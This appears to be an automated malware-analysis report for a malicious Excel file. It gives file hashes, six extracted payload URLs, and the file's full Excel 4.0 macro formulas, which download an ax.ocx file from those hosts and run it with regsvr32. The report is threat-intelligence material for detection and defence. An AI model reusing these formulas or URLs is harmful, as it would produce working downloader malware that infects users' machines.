General
-
Target
55f2a42a9009f5fcdd40ff238cdb7569074c9535d23d68011230ae56aa581feb
-
Size
48KB
-
MD5
f33438430f68ded0c62197f1a012efc4
-
SHA1
6959879ac7c409927f1092ea5ff31a4ec77afbc4
-
SHA256
55f2a42a9009f5fcdd40ff238cdb7569074c9535d23d68011230ae56aa581feb
-
SHA512
8f7646a54e9e0c30e8c1cf1458b99142aaaf4698c34efd0209d6467b254516ddf278cd73877fb95229cc209be1d81a0a510dcb2f8d66fc0bc4c82997f363f8a0
-
SSDEEP
768:XO+CAEWvxRc3mlkKDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0AOBAa:X7O2b8QkKDNck01u/R2rZyjtBl
Malware Config
Extracted
http://suleyera.com/components/CNGhltc5v2K6/
http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/
http://moveit.savvyint.com/config/DsfssbO7BYG/
https://schwizer.net/styled/D0MG/
http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/
http://shimal.atwebpages.com/wp-content/xkaRkHr/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
55f2a42a9009f5fcdd40ff238cdb7569074c9535d23d68011230ae56aa581feb